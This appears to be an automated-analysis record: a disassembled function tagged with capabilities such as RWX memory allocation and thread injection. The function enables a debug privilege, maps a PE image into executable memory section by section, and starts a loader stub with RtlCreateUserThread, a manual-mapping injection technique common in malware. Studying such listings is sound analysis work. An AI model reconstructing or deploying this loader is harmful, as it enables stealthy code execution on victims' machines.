Function at 0x1004bec0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x101c3080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x20]
mov esi, ecx
push eax
push 0x28
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1004c12c
push 0
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 8], 2
mov dword [ebp - 0x10], 0x14
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1004c12c
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x5a4d
cmp word [esi], ax
je 0x1004bf47
push 0x8000
push 0
push esi
call edi
mov ebx, dword [esi + 0x3c]
add ebx, esi
cmp dword [ebx], 0x4550
je 0x1004bf5e
push 0x8000
push 0
push esi
call edi
mov eax, 0x2000
test word [ebx + 0x16], ax
jne 0x1004bf73
push 0x8000
push 0
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
push 0x1000
push dword [ebx + 0x50]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [ebx + 0x54]
mov dword [ebp - 0x44], eax
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1004c105
xor eax, eax
mov dword [ebp - 0x48], 0
cmp ax, word [ebx + 6]
jae 0x1004bff0
lea ecx, [ebx + 0x10c]
mov dword [ebp - 0x40], ecx
nop
mov eax, dword [ecx]
push 0
push dword [ecx - 4]
add eax, esi
push eax
mov eax, dword [ecx - 8]
add eax, dword [ebp - 0x44]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x40]
inc edx
movzx eax, word [ebx + 6]
add ecx, 0x28
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x40], ecx
cmp edx, eax
jb 0x1004bfc0
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x40], eax
test eax, eax
je 0x1004c105
mov edx, dword [ebp - 0x44]
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x3c], edx
mov ecx, dword [ebx + 0xa0]
add ecx, edx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebx + 0x80]
mov ebx, dword [ebp - 0x40]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [ebp - 0x28], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1c
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.1004beb0
lea esi, [ebx + 0x1c]
sub eax, 0x1004bd80
push eax
push 0x1004bd80
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [ebp - 0x1c]
push eax
push ebx
push esi
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jns 0x1004c0c1
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.ntdll.dll_NtClose]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10084565
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push dword [ebp - 0x1c]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10084565
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push dword [ebp - 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10084565
mov esp, ebp
pop ebp
ret